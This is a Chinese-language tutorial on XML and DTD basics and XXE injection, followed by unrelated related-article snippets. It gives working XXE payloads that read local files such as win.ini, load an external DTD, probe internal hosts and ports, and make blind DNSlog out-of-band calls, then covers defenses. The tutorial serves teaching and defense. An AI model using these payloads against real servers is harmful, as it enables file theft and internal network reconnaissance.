XXE漏洞

news2024/11/27 4:17:45

XML基础

概述

XML是一种用于标记电子文件使其具有结构性的可扩展标记语言。

XML是一种灵活的语言,类似于HTML语言,但是并没有固定的标签,所有标签都可以自定义,其设计的宗旨是传输数据,而不是像HTML一样显示数据。

文档结构

XML声明

DTD文档类型定义

文档元素

 

CDATA表示包含字符或者文本数据,这些文本将被解析器检查实体以及标记。被解析的字符数据不应当包含任意&、<、>;需要使用它们的实体来替换

&lt;         <            小于

&gt;        >            大于

&amp;    &           和号

&apos;   ·             省略号

&quot    “             引号

DTD基础

概述

DTD即文档类型定义,用来为XML文档定义语义约束

我们可以把DTD理解为一个模板,这个模板中定义了用户自己创建的根元素以及对应的子元素和根元素的合法子元素和属性

文档元素则必须以我们的DTD为模板,来对XML的元素的内容进行相应的规范化

DTD声明

内部声明

<!DOCTYPE 根元素 [元素声明]>

外部声明

<!DOCTYPE 根元素 SYSTEM “文件名/URL”>

DTD实体

内部普通实体

<!ENTITY 实体名称 “实体的值”>

外部普通实体

<!ENTITY 实体名称 SYSTEM “URI”>

<!TINTITY 实体名称 PUBLIC “DTD标识名” “公用DTD的URI”>

PUBLIC指公用DTD,其是某个权威机构指定,供特定行业或公司

SYSTEM是指该外部DYD文件是私有的,即我们自己创建的,没有公开发行,只是个人或在公司内部或者几个合作单位之间使用

公用DTD使用PUBLIC代替了原来的SYSTEM,并增加了DTD标识名

参数实体

内部       <!ENTITY % 实体名称 “实体值”>

外部       <!ENTITY % 实体名称   SYSTEM “URI”>

XXE漏洞

概述

XXE(XML External Entity)即XML外部实体注入攻击,发生在应用程序解 析XML输入时,没有禁止外部实体的加载,导致攻击者可以通过XML的外部实体获取服务器中本应被保护的数据。

在文档类型定义部分,可以引用外部的DTD文件,所以这里容易出现安全问题。XML解析器解析外部实体时支持多种协议,如:使用file协议可以读取本地文件内容;使用http协议可以获取web资源等。因此攻击者可以构造恶意的外部实体,当解析器解析了包含恶意外部实体的XML类型文件时,便会导致XXE攻击。

发现

首先寻找接受XML作为输入内容的端点。

可以通过修改HTTP的请求方法,修改Content—Type头部字段等等方法,然后看看应用程序的响应,看看程序是否解析了发送的内容,如果解析了,那么则可能有XXE攻击漏洞。

如果站点解析xml,就可以尝试引用实体和DTD

如果可以引用外部实体,则存在xxe漏洞.

XXE利用

读取任意文件

 

<?xml version = "1.0"?>

<!DOCTYPE a [

<!ENTITY b SYSTEM "file:///C:/Windows/win.ini">

]>

<c>&b;</c>

 

引入外部实体

 

<?xml version = "1.0"?>

<!DOCTYPE a [

<!ENTITY % d SYSTEM "http://127.0.0.1/xxe.dtd">

%d;

]>

<c>&b;</c>

 

<!ENTITY b SYSTEM "file:///C:/Windows/win.ini">

 

探测内网端口

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE foo [

<!ELEMENT foo ANY >

<!ENTITY port SYSTEM "http://192.168.10.133">

]>

<x>&port;</x>

端口存活,用时较短

 

端口不存活,用时较长

 

还可以探测内网主机存活

 

Dnslog测试无回显

<?xml version="1.0" encoding="UTF-8"?>

<!DOCTYPE ANY [

<!ENTITY test SYSTEM "http://dnslogip"> ]>

<x>&test;</x>

 

防御

方案一、使用开发语言提供的禁用外部实体的方法

php:

libxml_disable_entity_loader(true);
其他语言:

https://www.owasp.org/index.php/XML_External_Entity_(XXE)_Prevention_Cheat_Sheet

方案二、过滤用户提交的XML数据

关键词:SYSTEM和PUBLIC。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/753340.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Cortex-M3与Aurix的堆栈

1. TC397是一个基于ARM Cortex-M3内核的微控制器芯片&#xff0c;其堆栈是由系统初始化代码初始化的。在ARM Cortex-M3架构中&#xff0c;堆栈通常由两个寄存器来管理&#xff1a;主堆栈指针&#xff08;MSP&#xff09;和进程堆栈指针&#xff08;PSP&#xff09;。 1.1 MSP是…

Vue-品牌列表案例

1.案例效果 2.用到的知识点 bootstrap 4.x 相关的知识点&#xff1a; 卡片&#xff08;Card&#xff09;、表单相关(Forms)、按钮(Buttons)、表格(Tables) vue指令与过滤器相关的知识点&#xff1a; 插值表达式、属性绑定、事件绑定、双向数据绑定、修饰符、条件渲染、列表…

云HIS系统使用和操作过程中的常见问题及解决方法

云HIS系统使用和操作过程中的常见问题及解决方法 一、门诊业务中遇到的问题 &#xff08;1&#xff09;门诊医生如何查询往期病人&#xff1f; 答&#xff1a;点击门诊医生站左侧患者列表&#xff0c;在弹出的页面点击已诊分页&#xff0c;在搜索框输入患者姓名&#xff0c;在…

数据库基本操作--------MySQL存储引擎

目录 一、存储引擎概念介绍 二、MySQL常用的存储引擎 1、MyISAM 2.1.1 MyISAM的特点 2.1.2 MyISAM 表支持 3 种不同的存储格式 2.1.3 MyISAM适用的生产场景 2、InnoDB 2.2.1 InnoDB特点 三、查看系统支持的存储引擎 四、查看表使用的存储引擎 方法一 五、修改存储引擎…

「网络编程」应用层协议_ HTTPS协议学习及原理理解

「前言」文章内容大致是应用层协议的HTTPS协议讲解&#xff0c;续上篇HTTP协议。 「归属专栏」网络编程 「主页链接」个人主页 「笔者」枫叶先生(fy) 目录 一、HTTPS协议介绍二、什么是"加密"三、为什么要加密四、常见的加密方式五、数据摘要 && 数据指纹六、…

直方图 直方图均衡化

直方图 直方图定义mask操作直方图均衡化均衡化效果自适应直方图均衡化 直方图定义 hist cv2.calcHist(images, channels, mask, histSize, ranges, …) # hist是一个256*1的矩阵&#xff0c;其中每一个值代表了一个灰度值对应的像素点数目 images&#xff1a;原图像格式为ui…

医学图像分割的三视图特征学习

文章目录 Triple-View Feature Learning for Medical Image Segmentation摘要本文方法实验结果 Triple-View Feature Learning for Medical Image Segmentation 摘要 深度学习模型&#xff0c;例如监督编码器-解码器风格的网络&#xff0c;在医学图像分割中表现出很好的性能&…

page_dewarp实现弯曲文本矫正

朋友们&#xff0c;如果你使用ocr&#xff0c;再识别的时候会遇到文本扭曲的问题&#xff0c;为了解决这个问题&#xff0c;需要进行弯曲文本矫正&#xff0c;这里推荐一个开源项目&#xff0c;可以使用上面的功能进行矫正&#xff0c;不过里面可能需要改动一些代码&#xff0c…

Python微服务架构设计使用asyncio提升性能

文章目录 1 引言2 微服务概念3 backend-for-frontend 模式4 实施产品列表 API4.1 实现基础服务4.2 实现BFF服务4.3 重试失败的请求4.4 断路器模式 5 总结 1 引言 许多 Web 应用程序都被构建为单体应用程序&#xff0c;单体应用程序通常是包含多个模块的大中型应用程序&#xf…

clickhouse优化使用clickhouse-keeper替代zookeeper

ClickHouse Keeper 是 ZooKeeper 的替代品&#xff0c;与 ZooKeeper 不同&#xff0c;ClickHouse Keeper 是用 C 编写的&#xff0c;并使用 RAFT 算法实现&#xff0c;该算法允许对读写具有线性化能力。 clikhouse-keeper目的在于替换zookeeper&#xff0c;使用clickhouse后&am…

【python】从Ensembl上,根据Array HumanMethylation450甲基化探针cg编号(比如cg13788592)获取位置

文章目录 1. 写在前面2. 手动查找和探索过程从UCSC查找从Ensembl查找 3. 代码实现 1. 写在前面 一篇专利 1 中提到多种癌种及对应的特异性CpG位点&#xff0c;想获取对应cg位点具体的位置或序列。专利中的一组CpG markers如下&#xff1a; 需求就是&#xff1a;将这些cg编号作…

Learning Enriched Features for Fast Image Restoration and Enhancement 论文阅读笔记

这是2022年TPAMI上发表的大名鼎鼎的MIRNetv2&#xff0c;是一个通用的图像修复和图像质量增强模型&#xff0c;核心是一个多尺度的网络 网络结构整体是残差的递归&#xff0c;不断把残差展开可以看到是一些残差块的堆叠。核心是多尺度的MRB。网络用的损失函数朴实无华&#x…

DuDuTalk:智能语音工牌如何赋能销售过程管理?

智能语音工牌是一种智能语音采集设备&#xff0c;配合ASR、NLP、语音分析、文本挖掘等AI技术&#xff0c;它可以帮助企业实现销售过程的监控、分析和改进。在这篇文章中&#xff0c;我们将探讨如何利用录音工牌实现销售过程管理&#xff0c;并介绍其重要性和应用。 1、什么是销…

3.9 JavaDoc生成文档

3.9 JavaDoc生成文档 javadoc命令是用来生成自己API文档的 javadoc是一种技术&#xff0c;他可以将我们的注释信息生成一个帮助文档 参数信息author 作者名version 版本号since 指明需要最早使用的JDK版本param 参数名return 返回值情况throws 异常抛出情况文档注释 /**回车…

接口测试-Jmeter响应数据结果保存到csv文件2种方式(详细)

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 日常接口测试&…

阿里巴巴最新总结 Spring Security Oauth2.0 认证授权全彩笔记

Spring Security 是一个能够为基于 Spring 的企业应用系统提供声明式的安全访问控制解决方案的安全框架。由于它是 Spring 生态系统中的一员&#xff0c;因此它伴随着整个 Spring 生态系统不断修正、升级&#xff0c;在 Spring Boot 项目中加入 Spring Security 更是十分简单&a…

C语言进阶,第4节-自定义类型详解(结构体

一、 结构体 1. 结构的声明 //描述一个学生 struct Stu//结构体标签 {//成员变量char name[20];int age;char sex[5];char id[20]; }x; //x 为 struct Stu 类型的变量//匿名结构体类型 struct {int a;char c;float f; }a;struct {int a;char c;float f; }*pa;//省略了结构体…

集群基础1——集群概念、LVS负载均衡

文章目录 一、基本了解二、LVS负载均衡2.1 基本了解2.2 工作模式2.2.1 NAT模式2.2.2 DR模式2.2.3 LVS-TUN模式2.2.4 LVS-FULLNAT模式 三、调度器算法四、ipvsadm命令 一、基本了解 什么是集群&#xff1f; 多台服务器做同一件事情。 集群扩展方式&#xff1a; scale up&#xf…

OJ练习第136题——在二叉树中分配硬币

在二叉树中分配硬币 力扣链接&#xff1a;979. 在二叉树中分配硬币 题目描述 给定一个有 N 个结点的二叉树的根结点 root&#xff0c;树中的每个结点上都对应有 node.val 枚硬币&#xff0c;并且总共有 N 枚硬币。 在一次移动中&#xff0c;我们可以选择两个相邻的结点&…

java导出pdf(纯代码实现)

java导出pdf 在项目开发中&#xff0c;产品的需求越来越奇葩啦&#xff0c;开始文件下载都是下载为excel的&#xff0c;做着做着需求竟然变了&#xff0c;要求能导出pdf。导出pdf倒也不是特别大的问题关键就是麻烦。 导出pdf我知道的一共有3中方法&#xff1a; 方法一&#xff…